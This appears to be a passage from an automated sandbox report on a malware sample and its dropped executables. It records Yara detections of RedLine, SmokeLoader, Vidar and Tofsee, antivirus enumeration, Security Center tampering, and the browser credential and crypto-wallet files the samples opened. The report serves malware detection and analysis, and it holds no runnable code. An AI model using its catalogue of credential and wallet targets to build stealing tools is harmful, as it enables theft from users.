Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: GetLocaleInfoW,_malloc,__MarkAllocaS,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,__freea,	1_2_0043C910
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: _strlen,_strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_004355C0
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: GetLocaleInfoW,GetACP,GetLocaleInfoW,	1_2_00435E70
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: _strlen,_GetPrimaryLen,EnumSystemLocalesA,	1_2_00435AC0
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: _GetLcidFromDefault,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_TranslateName,_GetLcidFromLangCountry,_GetLcidFromLanguage,_GetLcidFromCountry,_GetLcidFromDefault,_ProcessCodePage,IsValidCodePage,IsValidLocale,_wcscpy_s,__invoke_watson_if_error,GetLocaleInfoA,GetLocaleInfoA,__itow_s,	1_2_00435280
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: ___getlocaleinfo,GetCPInfo,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,InterlockedDecrement,InterlockedDecrement,	1_2_00424F60
Source: C:\Users\user\Desktop\GJXZRPhgm4.exe	Code function: ___crtGetLocaleInfoA,GetLastError,___crtGetLocaleInfoA,___crtGetLocaleInfoA,_strncpy_s,__invoke_watson_if_error,GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_00431B10
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	23_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,	23_2_00434040
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,	23_2_00434420
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,___crtGetLocaleInfoA,_strncpy_s,	23_2_004328A0
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	23_2_00432D90
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Code function: __crtGetLocaleInfoA_stat,	23_2_0043D650
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_mon,_fix_grouping,	25_2_00433930
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: ___getlocaleinfo,__malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,__nh_malloc_dbg,___crtLCMapStringW,___crtLCMapStringA,___crtLCMapStringA,_memmove,_memmove,_memmove,	25_2_00425200
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: ___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,	25_2_004322A0
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: __crtGetLocaleInfoA_stat,_LocaleUpdate::~_LocaleUpdate,	25_2_0043CB60
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: __nh_malloc_dbg,__malloc_dbg,__malloc_dbg,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___getlocaleinfo,___free_lconv_num,_fix_grouping,	25_2_00433550
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Code function: ___crtGetLocaleInfoA,___crtGetLocaleInfoA,__nh_malloc_dbg,___crtGetLocaleInfoA,__nh_malloc_dbg,_strncpy_s,__invoke_watson_if_error,__nh_malloc_dbg,	25_2_00431DB0

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CF8D.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\D80A.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\D80A.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\C376.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\GJXZRPhgm4.exe

1_2_0041C74C

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Code function: 23_2_0040AD40 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

23_2_0040AD40

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Code function: 23_2_0040ACA0 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

23_2_0040ACA0

Source: C:\Users\user\AppData\Local\Temp\CF8D.exe

Code function: 25_2_0040405E CreateEventA,ExitProcess,CloseHandle,CreateNamedPipeA,Sleep,CloseHandle,ConnectNamedPipe,GetLastError,DisconnectNamedPipe,CloseHandle,CloseHandle,CloseHandle,

25_2_0040405E

Source: C:\Users\user\AppData\Local\Temp\C376.exe

Code function: 23_2_00406C10 GetVersionExA,LoadLibraryA,WideCharToMultiByte,lstrlen,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,lstrcat,lstrcat,lstrcat,WideCharToMultiByte,lstrcat,FreeLibrary,

23_2_00406C10

Lowering of HIPS / PFW / Operating System Security Settings:

Changes security center settings (notifications, updates, antivirus, firewall)

Show sources

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Security Center cval

Jump to behavior

Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::ExecNotificationQuery - ROOT\SecurityCenter : SELECT * FROM __InstanceOperationEvent WHERE TargetInstance ISA 'AntiVirusProduct' OR TargetInstance ISA 'FirewallProduct' OR TargetInstance ISA 'AntiSpywareProduct'
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : FirewallProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\System32\svchost.exe	WMI Queries: IWbemServices::CreateInstanceEnum - ROOT\SecurityCenter2 : AntiSpywareProduct
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct

Source: svchost.exe, 00000009.00000002.542396154.000001B3C3E40000.00000004.00000001.sdmp	Binary or memory string: @V%ProgramFiles%\Windows Defender\MsMpeng.exe
Source: svchost.exe, 00000009.00000002.542534553.000001B3C3F02000.00000004.00000001.sdmp, D80A.exe, 00000024.00000002.515799306.0000000000EB1000.00000004.00000020.sdmp, D80A.exe, 00000024.00000002.515836213.0000000000EF2000.00000004.00000020.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Stealing of Sensitive Information:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 36.0.D80A.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D80A.exe.42af9f0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.D80A.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.D80A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D80A.exe.42af9f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.D80A.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.D80A.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.D80A.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000002.514940284.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.438801599.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.439520195.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.440164320.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.440612043.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.445057312.0000000004191000.00000004.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 4.1.GJXZRPhgm4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.aafjaea.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.GJXZRPhgm4.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.GJXZRPhgm4.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.B7EC.exe.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GJXZRPhgm4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.1.B7EC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.GJXZRPhgm4.exe.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.GJXZRPhgm4.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.B7EC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.aafjaea.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.aafjaea.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.331948331.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.332115128.00000000022F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.386841887.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.386885797.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.323021841.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.412129013.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.412155343.00000000005A1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C376.exe PID: 6592, type: MEMORYSTR

Yara detected Tofsee

Show sources

Source: Yara match	File source: 25.2.CF8D.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CF8D.exe.860e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.2.CF8D.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 25.3.CF8D.exe.880000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000003.408911426.0000000000880000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: CF8D.exe PID: 1068, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Show sources

Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \Electrum-LTC\wallets\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \ElectronCash\wallets\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \Electrum\wallets\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: window-state.json
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: exodus.conf.json
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: info.seco
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: ElectrumLTC
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: passphrase.json
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \Ethereum\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: file__0.localstorage
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \Ethereum\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: default_wallet
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: multidoge.wallet
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \Exodus\exodus.wallet\
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: seed.seco
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: keystore
Source: C376.exe, 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp	String found in binary or memory: \Electrum-LTC\wallets\

Tries to harvest and steal browser information (history, passwords, etc)

Show sources

Source: C:\Users\user\AppData\Local\Temp\D80A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data

Tries to steal Crypto Currency Wallets

Show sources

Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\C376.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\D80A.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\

Source: Yara match	File source: 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C376.exe PID: 6592, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: D80A.exe PID: 5456, type: MEMORYSTR

Remote Access Functionality:

Yara detected RedLine Stealer

Show sources

Source: Yara match	File source: 36.0.D80A.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D80A.exe.42af9f0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.D80A.exe.400000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.2.D80A.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.D80A.exe.42af9f0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.D80A.exe.400000.8.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.D80A.exe.400000.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.D80A.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000024.00000002.514940284.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.438801599.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.439520195.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.440164320.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.440612043.0000000000402000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.445057312.0000000004191000.00000004.00000001.sdmp, type: MEMORY

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 4.1.GJXZRPhgm4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.aafjaea.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.GJXZRPhgm4.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.GJXZRPhgm4.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.B7EC.exe.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.GJXZRPhgm4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.1.B7EC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.GJXZRPhgm4.exe.8615a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.0.GJXZRPhgm4.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 22.2.B7EC.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.1.aafjaea.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.aafjaea.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.331948331.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.332115128.00000000022F1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.386841887.0000000000570000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.386885797.00000000005A1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000000.323021841.0000000004DE1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.412129013.0000000000580000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000016.00000002.412155343.00000000005A1000.00000004.00020000.sdmp, type: MEMORY

Yara detected Vidar stealer

Show sources

Source: Yara match	File source: 00000017.00000002.432118007.0000000000A13000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: C376.exe PID: 6592, type: MEMORYSTR

